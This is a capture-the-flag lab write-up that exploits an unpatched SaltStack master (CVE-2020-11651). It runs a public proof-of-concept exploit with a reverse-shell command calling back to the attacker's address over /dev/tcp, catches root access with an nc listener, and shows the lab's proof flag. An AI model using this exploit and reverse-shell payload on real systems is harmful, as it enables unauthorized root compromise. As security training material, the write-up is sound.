Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
In this lab, we will gain access by exploiting a pre-auth remote code execution vulnerability on a SaltStack master. This will allow us to execute commands on the master by creating a runner of salt.cmd using the cmd.exec_code function. This exercise enhances your skills in exploiting vulnerabilities for command execution and system access.
Scenario
This lab demonstrates exploiting a pre-auth remote code execution vulnerability in SaltStack Master (CVE-2020-11651). Learners will leverage the SaltStack API to execute arbitrary commands, resulting in a root shell on the target. This lab highlights the risks of unpatched critical vulnerabilities in infrastructure management tools.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services and identify the SaltStack API running on ports 4505 and 4506.
- Investigate HTTP headers to determine the SaltStack version and verify vulnerability exposure.
- Deploy the CVE-2020-11651 exploit to execute arbitrary commands on the SaltStack Master.
- Establish a reverse shell and confirm root-level access to the target.
- Understand the importance of securing critical management tools against known vulnerabilities.
Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Map exposed services and versions on the target.
└─$ nmap -sC -sV -p- 192.168.206.62
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-09 19:59 -0400
Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.97% done; ETC: 20:01 (0:01:51 remaining)
Nmap scan report for 192.168.206.62
Host is up (0.019s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_ 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp open domain NLnet Labs NSD
80/tcp open http nginx 1.16.1
|_http-title: Home | Mezzanine
|_http-server-header: nginx/1.16.1
4505/tcp open zmtp ZeroMQ ZMTP 2.0
4506/tcp open zmtp ZeroMQ ZMTP 2.0
8000/tcp open http nginx 1.16.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).'
|_http-server-header: nginx/1.16.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.69 seconds
########################################################################################################################################################################
########################################################################################################################################################################
ZMTP (ZeroMQ Message Transport Protocol) 2.0 is a messaging protocol often used in distributed systems, and security research has identified vulnerabilities related to its implementation, particularly in older versions of SaltStack. A key Proof of Concept (PoC) associated with ZMTP 2.0 is for CVE-2020-11651, which affects SaltStack masters using ZeroMQ.
########################################################################################################################################################################
########################################################################################################################################################################
https://www.exploit-db.com/exploits/48421
########################################################################################################################################################################
########################################################################################################################################################################
(myenv)─(kali㉿kali)-[~/offsec/Twiggy/CVE-2020-11651-poc]
# Run the helper or analysis script used in this lab step.
└─$ python3 exploit.py --master 192.168.206.62 --exec "sh -i >& /dev/tcp/192.168.45.173/4505"
[!] Please only use this script to verify you have correctly patched systems you have permis abort.
/home/kali/offsec/Twiggy/CVE-2020-11651-poc/myenv/lib/python3.13/site-packages/salt/transporonWarning: This module is deprecated. Please use salt.channel.client instead.
warn_until(
[+] Checking salt-master (192.168.206.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: YW+X7MyAJUrsskh2mt7TkF3FvyJaWLbGfylEiu5AdjFu9Rr8ggmt+HuXNPmPn9rfU1T7r
/home/kali/offsec/Twiggy/CVE-2020-11651-poc/exploit.py:351: DeprecationWarning: datetime.datted and scheduled for removal in a future version. Use timezone-aware objects to represent d.datetime.now(datetime.UTC).
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
[+] Attemping to execute sh -i >& /dev/tcp/192.168.45.173/4505 0>&1 on 192.168.206.62
[+] Successfully scheduled job: 20260510003848626317
########################################################################################################################################################################
########################################################################################################################################################################
(kali㉿kali)-[~/offsec/Twiggy]
# Create the network connection required for this lab step.
└─$ nc -nlvp 4505
listening on [any] 4505 ...
connect to [192.168.45.173] from (UNKNOWN) [192.168.206.62] 50194
sh: no job control in this shell
sh-4.2# /bin/sh -i
/bin/sh -i
sh: no job control in this shell
sh-4.2# /bin/bash -i
/bin/bash -i
bash: no job control in this shell
[root@twiggy root]# ls
# Inspect the directory for files relevant to the next step.
ls
proof.txt
[root@twiggy root]# cat proof.txt
# Read the file contents for useful configuration or credential data.
cat proof.txt
7425a6cbd623bc53a6e5d48232dd0fa1
[root@twiggy root]#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.